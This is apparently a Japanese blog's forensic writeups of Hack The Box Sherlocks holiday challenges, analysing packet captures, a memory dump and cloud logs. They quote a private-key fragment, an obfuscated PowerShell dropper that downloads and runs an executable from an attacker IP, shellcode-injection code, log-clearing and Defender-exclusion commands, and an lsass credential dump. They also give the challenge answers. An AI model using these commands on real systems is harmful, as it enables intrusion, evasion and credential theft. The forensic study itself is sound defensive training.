Amidst our ongoing analysis of the current packet capture, the situation has escalated alarmingly. Our security system has detected signs of post-exploitation activities on a highly critical server, which was supposed to be secure with SSH key-only access. This development has raised serious concerns within the security team. While Bytesparkle is investigating the breach, he speculated that this security incident might be connected to the earlier printer issue. Could you determine and provide the complete path of the file on the printer server that enabled the Grinch to laterally move to this critical server?
現在のパケット キャプチャの分析を継続している最中に、状況は驚くほどエスカレートしています。当社のセキュリティ システムは、SSH キーのみのアクセスで安全であるはずの非常に重要なサーバー上でエクスプロイト後のアクティビティの兆候を検出しました。この展開により、セキュリティ チーム内に深刻な懸念が生じました。Bytesparkle はこの侵害を調査中ですが、このセキュリティ インシデントが以前のプリンターの問題に関連しているのではないかと推測しました。グリンチがこの重要なサーバーに横方向に移動できるようにした、プリンター サーバー上のファイルの完全なパスを特定して提供していただけますか?

Task 6の箇所の続きを見ると、SSH鍵がやり取りされているのを見ることができる。

@PJL FSUPLOAD FORMAT:BINARY NAME="0:/Administration/securitykeys/ssh_systems/id_rsa" OFFSET=0 SIZE=1914
#This is a backup key for christmas.gifts server. Bytesparkle recommended me this since in christmas days everything gets mixed up in all the chaos and we can lose our access keys to the server just like we did back in 2022 christmas.
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2itnkTXlHEPgyuutXEm/vOWJCfRVt+VXhz0bLJaftUjl9phz
0cS+3qInP+JEkUyWOtkfDrxapQGOi1WASyup/Tk4HE+yQ6pPFSPCsFKZc4gPVIUF
SbhYAa+hw1FLRiWb3hXbLDjgvLXDySI39tq16jEvr/dRdIiajE4GJHGZ5/Pi+fum
LxwxKqSu4WS/LCAgC7kSIm7vgY2/bmf6sTgRC0uHHVJ68E6vDp2m+h38R3Kj/oL7
0x3VQNMgq835vH1nZkGIAwxy+7/bbXUccz+qeMOXBUHI1e3x7o5RpNwuW6JLhrDp
...

これより/Administration/securitykeys/ssh_systems/id_rsaと分かる。

Task 8

What is size of this file in bytes?
このファイルのサイズはバイト単位でいくらですか?

Task 7にSIZEも書いてあるので、それを答える 1914

Task 9

What was the hostname of the other compromised critical server?
侵害された他の重要なサーバーのホスト名は何でしたか?

Task 7のコメントに書いてある christmas.gifts

Task 10

When did the Grinch attempt to delete a file from the printer? (UTC)
グリンチはいつプリンターからファイルを削除しようとしましたか? (UTC

(ip.src == 172.17.79.133 && ip.dst == 192.168.68.128) || (ip.src == 192.168.68.128 && ip.dst == 172.17.79.133)にフィルタリングを戻して三度確認すると、
TCPストリーム71がポート9100/tcpで残っている。
追跡で確認してみると、@PJL FSDELETE NAME="0:/Administration/securitykeys/ssh_systems/id_rsa"という実行が見つかる。
これはパケットのNo.3676であり、この時間を見ると2023-12-08 12:18:14が答え。
(日本語版だとJST,UTC+9になっているので9時間戻してUTCで答えること)

Hack The Box Sherlocks - OpTinselTrace-3 Writeup

https://app.hackthebox.com/sherlocks/OpTinselTrace-3
Hack The Box Sherlocksとは

Sherlock Scenario

Oh no! Our IT admin is a bit of a cotton-headed ninny-muggins, ByteSparkle left his VPN configuration file in our fancy private S3 location! The nasty attackers may have gained access to our internal network. We think they compromised one of our TinkerTech workstations. Our security team has managed to grab you a memory dump - please analyse it and answer the questions! Santa is waiting…
なんてこった!弊社の IT 管理者はちょっと頭の固い嫌な奴で、ByteSparkle は VPN 設定ファイルを弊社のプライベートな S3 の場所に残しました。厄介な攻撃者が当社の内部ネットワークにアクセスした可能性があります。彼らは私たちの TinkerTech ワークステーションの 1 つを侵害したと考えられます。弊社のセキュリティ チームがメモリ ダンプを取得しました。それを分析して質問に答えてください。サンタさんが待ってるよ…

2023年のSherlocksクリスマスイベント問題の3問目。
メモリフォレンジックの問題。

Tasks

Task 1

What is the name of the file that is likely copied from the shared folder (including the file extension)?
共有フォルダーからコピーされたと思われるファイルの名前 (ファイル拡張子を含む) は何ですか?

Task 2,3から逆算して答えた。
lnkファイルを含んでいるzipはpresent_for_santa.zipであり、これが答え。
Desktopに変なファイルがあるな…みたいな所から探っていくのが想定解かな?

Task 2

What is the file name used to trigger the attack (including the file extension)?
攻撃を引き起こすために使用されたファイル名 (ファイル拡張子を含む) は何ですか?

Task 3から逆算して答えた。
click_for_present.lnkが答え。

Task 3

What is the name of the file executed by click_for_present.lnk (including the file extension)?
click_for_present.lnkで実行されるファイル名(拡張子含む)は何ですか?

click_for_present.lnk?と思ってstringsをgrepしてみると、そういうことね。

$ strings santaclaus.bin | grep "click_for_present.lnk"
present_for_santa/click_for_present.lnk
present_for_santa/click_for_present.lnk
present_for_santa/click_for_present.lnkPK
click_for_present.lnk

なんかzipありましたね。
windows.filescanの結果に0xa48df8fb42a0 \Users\santaclaus\Desktop\present_for_santa.zip 216というのがある。
python3 ~/.opt/volatility3/vol.py -f santaclaus.bin windows.dumpfiles --virtaddr 0xa48df8fb42a0で抽出可能。
解凍すると、click_for_present.lnkが含まれていました。
クリックすると実行されるのは以下コマンド。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc JABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEMAOgBcAFUAcwBlAHIAcwBcACIAIAAtAEYAaQBsAHQAZQByACAAIgBwAHIAZQBzAGUAbgB0ACoALgB2AGIAcwAiACAALQBGAGkAbABlACAAL

base64エンコードをデコードすると$file = Get-ChildItem -Path "C:\Users\" -Filter "present*.vbs" -Fileとなる。
ちょうどzipを回答したファイルにpresent.vbsというのがあるのでそれが答え。present.vbs

Task 4

What is the name of the program used by the vbs script to execute the next stage?
次のステージを実行するために vbs スクリプトで使用されるプログラムの名前は何ですか?

present.vbsは難読化されているのでゴリゴリ解除する。
沢山ゴミデータが入っているが、A4にpayloadを入れてReplace(A4,"GRINCH","i")みたいにリプレースをしてpowershellに渡している。
よって答えはpowershell.exe

Task 5

What is the name of the function used for the powershell script obfuscation?
PowerShell スクリプトの難読化に使用される関数の名前は何ですか?

powershellに渡るのは以下のようなコード。

Function WrapPresent ($Ensproglig){$Nringsvirksomhedernes = $Ensproglig.Length-1; For ($Smiths211=6; $Smiths211 -lt $Nringsvirksomhedernes){$Malice=$Malice+$Ensproglig.Substring($Smiths211, 1);$Smiths211+=7;}$Malice;};$present=WrapPresent 'Once uhon a ttme, intthe whpmsical:town o/ Holid/y Holl7w, the7e live. two l7gendar4 figur.s know1 far a9d wide8 the G.inch a5d Sant2 Claus/ They desidedeon oppssite stdes ofrthe toon, eacy with _heir ocn uniqhe charrcterisiics thst defited them. The arinch,sa soli/ary creature,vdwellei in a lave at_p Mounp Crumprt. Wite his gseen fue and anheart teeming.y two jizes tpo smalg, he h';$gluhwein=WrapPresent 'd a peichant eor misxhief a';. ($gluhwein) (WrapPresent 'd a di$dain fpr anyteing fertive. se despesed thn joyout celebLationsothat echoed tarough the towi, espeoially nuring =he win$er holedays. nn the vther s:de of tolidayeHollowm nestlpd in ac');$File=WrapPresent 'cozy w\rkshoppat therNorth eole, lsved the jollynand betevolen. SantaeClaus.xWith hes roun';. ($gluhwein) (WrapPresent ' belly$ rosy pheeks,eand a reart bsimmingewith knndnesst he spLnt hisodays ccaftingatoys ftr chiliren around thn world=and sp$eadingpcheer eherever he west. Yeae afternyear, ts the Lolidayoseasoncapproaahed, tte townifolk eogerly nrepare+ for f$stivitFes, adirning lhe streets wih');. ($gluhwein) (WrapPresent 'h ligh.s, set ing up$decoragions, lnd sinuing johful tuwes. Whele Sania businy prep red hi( sleigN and ceecked wis lis- twiceO the Gbinch sjethed en his cave, itritate  by thn merrieent thtt fill.d the wir. One fatefbl wintcr, a plrticulirly ice chillnswept through)Holida. HolloD, causong chaws and nisruptlng theoholidaa spirid. The Fnowstoims grel wildee, and (he tow$sfolk ptrugglrd to keep thesr festeve tranitionstalive.,Childr$n werepdisappeinted rs the srospece of a noyous telebraLion diomed. Wctnessiag the towns distresso Santanknew h) had t; do soe');. ($gluhwein) (WrapPresent 'ethingSto restore tha holidry cheet. With-a twinPle in ris eyeoand a ceart fell of sope, hs decid d to p$y a vipit to ehe Grirch, hosing toewarm hns heart and bLing baok the cpirit af the teason.iGuidedoby hisnunyiel;i');

ちょっときれいにするとこんな感じ。

Function WrapPresent ($encoded){
    $length = $encoded.Length-1;
    For ($i=6; $i -lt $length) {
        $decoded = $decoded + $encoded.Substring($i, 1);
        $i+=7;
    }
    $decoded;
};
$present=WrapPresent 'Once uhon a ttme, intthe whpmsical:town o/ Holid/y Holl7w, the7e live. two l7gendar4 figur.s know1 far a9d wide8 the G.inch a5d Sant2 Claus/ They desidedeon oppssite stdes ofrthe toon, eacy with _heir ocn uniqhe charrcterisiics thst defited them. The arinch,sa soli/ary creature,vdwellei in a lave at_p Mounp Crumprt. Wite his gseen fue and anheart teeming.y two jizes tpo smalg, he h';
$gluhwein=WrapPresent 'd a peichant eor misxhief a';
. ($gluhwein) (WrapPresent 'd a di$dain fpr anyteing fertive. se despesed thn joyout celebLationsothat echoed tarough the towi, espeoially nuring =he win$er holedays. nn the vther s:de of tolidayeHollowm nestlpd in ac');
$File=WrapPresent 'cozy w\rkshoppat therNorth eole, lsved the jollynand betevolen. SantaeClaus.xWith hes roun';
. ($gluhwein) (WrapPresent ' belly$ rosy pheeks,eand a reart bsimmingewith knndnesst he spLnt hisodays ccaftingatoys ftr chiliren around thn world=and sp$eadingpcheer eherever he west. Yeae afternyear, ts the Lolidayoseasoncapproaahed, tte townifolk eogerly nrepare+ for f$stivitFes, adirning lhe streets wih');
. ($gluhwein) (WrapPresent 'h ligh.s, set ing up$decoragions, lnd sinuing johful tuwes. Whele Sania businy prep red hi( sleigN and ceecked wis lis- twiceO the Gbinch sjethed en his cave, itritate  by thn merrieent thtt fill.d the wir. One fatefbl wintcr, a plrticulirly ice chillnswept through)Holida. HolloD, causong chaws and nisruptlng theoholidaa spirid. The Fnowstoims grel wildee, and (he tow$sfolk ptrugglrd to keep thesr festeve tranitionstalive.,Childr$n werepdisappeinted rs the srospece of a noyous telebraLion diomed. Wctnessiag the towns distresso Santanknew h) had t; do soe');
. ($gluhwein) (WrapPresent 'ethingSto restore tha holidry cheet. With-a twinPle in ris eyeoand a ceart fell of sope, hs decid d to p$y a vipit to ehe Grirch, hosing toewarm hns heart and bLing baok the cpirit af the teason.iGuidedoby hisnunyiel;i');

WrapPresentという関数を使って7文字毎に文字を持ってきて全部変換して使っている。
よって答えはWrapPresent

Task 6

What is the URL that the next stage was downloaded from?
次のステージをダウンロードした URL は何ですか?

Task 5で整理したファイルを更に整理する。

$present='hxxp://77[.]74[.]198[.]52/destroy_christmas/evil_present.jpg';
$gluhwein='iex';
. ($gluhwein) '$persentLocation=$env:temp';
$File='\present.exe';
. ($gluhwein) '$persentLocation=$persentLocation+$File';
. ($gluhwein) '. $gluhwein (New-Object net.webclient).DownloadFile($present,$persentLocation);';
. ($gluhwein) 'Start-Process $persentLocation;';

という感じで、もうちょっと整理すると

$present='hxxp://77[.]74[.]198[.]52/destroy_christmas/evil_present.jpg';
$persentLocation=$env:temp;
$File='\present.exe';
$persentLocation=$persentLocation+$File;
(New-Object net.webclient).DownloadFile($present,$persentLocation);
Start-Process $persentLocation;

ここまでがPowershellでのペイロード
よって答えはhxxp://77[.]74[.]198[.]52/destroy_christmas/evil_present.jpg
一応defangしている。答えはdefangしない生urlが答え。
ちなみに、上記URLは404応答で既に存在しない。

Task 7

What is the IP and port that the executable downloaded the shellcode from (IP:Port)?
実行可能ファイルがシェルコードをダウンロードした IP とポート (IP:ポート) は何ですか?

windows.netscanが使えそう。
これまでの解析で77[.]74[.]198[.]52が悪性IPアドレスであると判明しているので、それで探してみると情報が残っていた。

0xa48df88db790 TCPv4 192.168.68.6 49687 77[.]74[.]198[.]52 447 ESTABLISHED 724 svchost.exe 2023-11-30 16:42:41.000000

77[.]74[.]198[.]52:447とすると違った。
うーん、と思いながら、方針を変えてpresent.exeについてメモリから持ってくる。

$ cat windows.filescan.txt | grep "present.exe"
0xa48df8fd7520  \Users\SANTAC~1\AppData\Local\Temp\present.exe  216
0xa48e003d0530  \Users\SANTAC~1\AppData\Local\Temp\present.exe  216

$ python3 ~/.opt/volatility3/vol.py -f santaclaus.bin windows.dumpfiles --virtaddr 0xa48df8fd7520

ghidraで開いて巡回すると、それっぽいことをしている部分が見つかる。

    inet_pton(2,"77[.]74[.]198[.]52",local_1d0.sa_data + 2);
    local_1d0._0_8_ = CONCAT62(local_1d0.sa_data._0_6_,2);
    uVar1 = htons(0x1bd);
    local_1d0._0_4_ = CONCAT22(uVar1,local_1d0.sa_family);
    local_1d0._0_8_ = local_1d0._0_8_ & 0xffffffff00000000 | (ulonglong)local_1d0._0_4_;
    iVar2 = connect(s,&local_1d0,0x10);

ここですね。
htonsを調べるとhtons 関数を使用すると、ホストのバイト順の IP ポート番号をネットワーク バイト順の IP ポート番号に変換できます。と出てくるので、これですね。
0x1bdを10進数にすると445なので77[.]74[.]198[.]52:445が答え(defang前が答え)。

Task 8

What is the process ID of the remote process that the shellcode was injected into?
シェルコードが挿入されたリモート プロセスのプロセス ID は何ですか?

Task 7のwindows.netscanの結果を見ると所属するPIDがわかる。724
ghidraでも以下のようにメモリを取得して書いて呼ぶ現場を確認することができる。

lpStartAddress = (LPTHREAD_START_ROUTINE)VirtualAllocEx(pvVar4,(LPVOID)0x0,0x1fe,0x3000,4);
WriteProcessMemory(pvVar4,lpStartAddress,&DAT_140005640,0x1fe,(SIZE_T *)&local_1d0);
memset(&DAT_140005640,0,0x1fe);
VirtualProtectEx(pvVar4,lpStartAddress,0x1fe,0x40,local_1d8);
pvVar3 = CreateRemoteThread(pvVar4,(LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0);

Task 9

After the attacker established a Command & Control connection, what command did they use to clear all event logs?
攻撃者はコマンド アンド コントロール接続を確立した後、すべてのイベント ログをクリアするためにどのコマンドを使用しましたか?

取り合えずPID:724のメモリダンプを取ってstringsをしてgrepしながら眺めるが特に何もない。
普通にstringsするのではなく、Windows内部で使われているUTF-16でstringsしてgrepすると面白いのが見つかる。

$ python3 ~/.opt/volatility3/vol.py -f santaclaus.bin windows.memmap.Memmap --pid 724 --dump
...

$ strings -e l pid.724.dmp | grep powershell.exe
...
HostApplication=powershell.exe Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }
HostApplication=powershell.exe Add-MpPreference -DisDisableRealtimeMonitoring True
...
HostApplication=powershell.exe Add-MpPreference -ExclusionPath c:\users\public
...
HostApplication=powershell.exe C:\Users\public\PresentForNaughtyChild.exe -accepteula -r -ma lsass.exe C:\Users\public\stolen_gift.dmp
...
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Function WrapPresent ($Ensproglig){$Nringsvirksomhedernes = $Ensproglig.Length-1; For ($Smiths211=6; $Smiths211 -lt $Nringsvirksomhedernes){$Malice=$Malice+$Ensproglig.Substring($Smiths211, 1);$Smiths211+=7;}$Malice;};$present=WrapPresent 'Once uhon a ttme, intthe whpmsical:town o/ Holid/y Holl7w, the7e live. two l7gendar4 figur.s know1 far a9d wide8 the G.inch a5d Sant2 Claus/ They desidedeon oppssite stdes ofrthe toon, eacy with _heir ocn uniqhe charrcterisiics thst defited them. The arinch,sa soli/ary creature,vdwellei in a lave at_p Mounp Crumprt. Wite his gseen fue and anheart teeming.y two jizes tpo smalg, he h';$gluhwein=WrapPresent 'd a peichant eor misxhief a';. ($gluhwein) (WrapPresent 'd a di$dain fpr anyteing fertive. se despesed thn joyout celebLationsothat echoed tarough the towi, espeoially nuring =he win$er holedays. nn the vther s:de of tolidayeHollowm nestlpd in ac');$File=WrapPresent 'cozy w\rkshoppat therNorth eole, lsved the jollynand betevolen. SantaeClaus.xWith hes roun';. ($gluhwein) (WrapPresent ' belly$ rosy pheeks,eand a reart bsimmingewith knndnesst he spLnt hisodays ccaftingatoys ftr chiliren around thn world=and sp$eadingpcheer eherever he west. Yeae afternyear, ts the Lolidayoseasoncapproaahed, tte townifolk eogerly nrepare+ for f$stivitFes, adirning lhe streets wih');. ($gluhwein) (WrapPresent 'h ligh.s, set ing up$decoragions, lnd sinuing johful tuwes. Whele Sania businy prep red hi( sleigN and ceecked wis lis- twiceO the Gbinch sjethed en his cave, itritate  by thn merrieent thtt fill.d the wir. One fatefbl wintcr, a plrticulirly ice chillnswept through)Holida. HolloD, causong chaws and nisruptlng theoholidaa spirid. The Fnowstoims grel wildee, and (he tow$sfolk ptrugglrd to keep thesr festeve tranitionstalive.,Childr$n werepdisappeinted rs the srospece of a noyous telebraLion diomed. Wctnessiag the towns distresso Santanknew h) had t; do soe');. ($gluhwein) (WrapPresent 'ethingSto restore tha holidry cheet. With-a twinPle in ris eyeoand a ceart fell of sope, hs decid d to p$y a vipit to ehe Grirch, hosing toewarm hns heart and bLing baok the cpirit af the teason.iGuidedoby hisnunyiel;i');
HostApplication=powershell.exe Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }

欲しい情報がすべて詰まっている。
答えはGet-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }

Task 10

What is the full path of the folder that was excluded from defender?
Defenderから除外されたフォルダーのフルパスは何ですか?

Taks 9の結果から分かる。
c:\users\public

Task 11

What is the original name of the file that was ingressed to the victim?
被害者に侵入されたファイルの元の名前は何ですか?

Task 9の結果からpowershell.exe C:\Users\public\PresentForNaughtyChild.exe -accepteula -r -ma lsass.exe C:\Users\public\stolen_gift.dmpというのが見れる。
windows.filescanの結果を漁ると0xa48e00d10a90 \Users\Public\PresentForNaughtyChild.exe 216とあり、メモリから抜けそう。
python3 ~/.opt/volatility3/vol.py -f santaclaus.bin windows.dumpfiles --virtaddr 0xa48e00d10a90で抽出可能。
md5ハッシュを取得してVTに投げると正体が分かる。
https://www.virustotal.com/gui/file/337c24c2e6016a9bdca30f2820df9c1dae7b827ad73c93a14e1dc78906b63890 procdump.exeが答え。

Task 12

What is the name of the process targeted by procdump.exe?
procdump.exe のターゲットとなるプロセスの名前は何ですか?

これは実行コマンドから分かる。
powershell.exe C:\Users\public\PresentForNaughtyChild.exe -accepteula -r -ma lsass.exe C:\Users\public\stolen_gift.dmp
lsass.exeですね。

Hack The Box Sherlocks - OpTinselTrace-2 Writeup

https://app.hackthebox.com/sherlocks/OpTinselTrace-2
Hack The Box Sherlocksとは

Sherlock Scenario

It seems our precious technology has been leaked to the threat actor. Our head Elf, PixelPepermint, seems to think that there were some hard-coded sensitive URLs within the technology sent. Please audit our Sparky Cloud logs and confirm if anything was stolen! PS - Santa likes his answers in UTC...
私たちの貴重な技術が攻撃者に流出したようです。私たちの頭のエルフである PixelPepermint は、送信されたテクノロジー内にハードコーディングされた機密 URL がいくつかあったと考えているようです。 Sparky Cloud のログを監査して、何かが盗まれたかどうかを確認してください。 PS - サンタさんは UTC での答えを好みます...

2023年のSherlocksクリスマスイベント問題の2問目。
AWSのCloudTrailのログデータが与えられるのでクラウドフォレンジックを進めていく。

Tasks

Task 1

What is the MD5 sum of the binary the Threat Actor found the S3 bucket location in?
脅威アクターが S3 バケットの場所を見つけたバイナリの MD5 合計はいくらですか?

他のTaskを全部解いて、一番最後に解けた。
脅威アクターはどこかからS3バケットの場所を見つけたようで、S3バケットの場所とは後述するpapa-noel.s3.eu-west-3.amazonaws.comのこと。
VirusTotalpapa-noel.s3.eu-west-3.amazonaws.comを検索してみる。

https://www.virustotal.com/gui/domain/papa-noel.s3.eu-west-3.amazonaws.com/relations

ありますね。ここのRelationsを見てみると関連づけられているELFファイルがあった!

https://www.virustotal.com/gui/file/b15b02994c1c454571f877f9a0b99d06231f7b33f90bcca911e8845ab1ab5e55/details

ほー、よくできてる。
ここのMD5ハッシュを送ると正答。
62d5c1f1f9020c98f97d8085b9456b05

Task 2

What time did the Threat Actor begin their automated retrieval of the contents of our exposed S3 bucket?
脅威アクターは、公開された S3 バケットの内容の自動取得を開始したのはいつですか?

papa-noel.s3.eu-west-3.amazonaws.comのファイルアクセスを元に判定する。
ブラウザからアクセスした場合は favicon.icoへのアクセスを伴うのでそれが無ければ自動で取得されていると判断できる。
時間差も考慮すると.gitフォルダのファイルをダウンロードし始めたタイミングが答え。

2023-11-29T08:24:07Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/COMMIT_EDITMSG'}
2023-11-29T08:24:07Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/config'}
2023-11-29T08:24:07Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/description'}
2023-11-29T08:24:07Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/HEAD'}
2023-11-29T08:24:07Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/applypatch-msg.sample'}
2023-11-29T08:24:08Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/commit-msg.sample'}
2023-11-29T08:24:08Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/fsmonitor-watchman.sample'}
2023-11-29T08:24:08Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/post-update.sample'}
2023-11-29T08:24:08Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/pre-applypatch.sample'}
2023-11-29T08:24:09Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/pre-commit.sample'}
2023-11-29T08:24:09Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/pre-merge-commit.sample'}
2023-11-29T08:24:09Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/pre-push.sample'}
2023-11-29T08:24:09Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/pre-rebase.sample'}
2023-11-29T08:24:09Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/pre-receive.sample'}
2023-11-29T08:24:10Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/prepare-commit-msg.sample'}
2023-11-29T08:24:10Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/push-to-checkout.sample'}
2023-11-29T08:24:10Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/hooks/update.sample'}
2023-11-29T08:24:10Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/index'}
2023-11-29T08:24:10Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/info/exclude'}
2023-11-29T08:24:11Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/logs/HEAD'}
2023-11-29T08:24:11Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/logs/refs/heads/master'}
2023-11-29T08:24:11Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/38/938fa8723c40cedfb7819340563c81961d7712'}
2023-11-29T08:24:11Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/5d/24a8f411fc931b54fb9a4b58b6b55f1016c34d'}
2023-11-29T08:24:12Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/62/13ad5b238260339ce346bf8f9063a8559c538a'}
2023-11-29T08:24:12Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/69/a6bf0c5763a8cfc8d52d123e29986441869eab'}
2023-11-29T08:24:12Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/6e/e67e3c147c7b310ea95271f07165056a84a1aa'}
2023-11-29T08:24:12Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/8f/3ebb72ee80ee21f35e64ff2040ffbfb8d78d90'}
2023-11-29T08:24:13Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/99/9775de5661604d8b3e7b5929d1fd1818db40ac'}
2023-11-29T08:24:13Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/99/dbe4b3d52641ecb95dc3361bc7c324ba20f8e1'}
2023-11-29T08:24:13Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/a9/2e975c8c52221d5c1c371d5595f65eb13f8be5'}
2023-11-29T08:24:13Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/d5/4035991ea077b39062f858dfab56ea4fc1eb32'}
2023-11-29T08:24:13Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/da/4d9a7c2824a50b8615b0149da53df83e812529'}
2023-11-29T08:24:14Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/backup.py'}
2023-11-29T08:24:14Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/check.js'}
2023-11-29T08:24:14Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/f1/3ae004942c081e8a345a35bc4c1a006fb9a9d6'}
2023-11-29T08:24:14Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/objects/ff/46564b94ef03aca8f76224d3286e7e608276e4'}
2023-11-29T08:24:14Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/refs/heads/master'}
2023-11-29T08:24:15Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/claus.py'}
2023-11-29T08:24:15Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/disk.ps'}
2023-11-29T08:24:15Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/organise.rb'}
2023-11-29T08:24:15Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/santa_journey_log.csv'}
2023-11-29T08:24:16Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/update.sh'}
2023-11-29T08:24:16Z | {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'santa-list.csv'}

より2023-11-29 08:24:07が答え。

Task 3

What time did the Threat Actor complete their automated retrieval of the contents of our exposed S3 bucket?
脅威アクターが公開された S3 バケットの内容の自動取得を完了したのは何時ですか?

Task 2から分かる。2023-11-29 08:24:16が答え。

Task 4

Based on the Threat Actor's user agent - what scripting language did the TA likely utilise to retrieve the files?
脅威アクターのユーザー エージェントに基づいて、TA はファイルを取得するためにどのようなスクリプト言語を使用したと考えられますか?

Task 2の最初の通信の生ログを見てみよう。

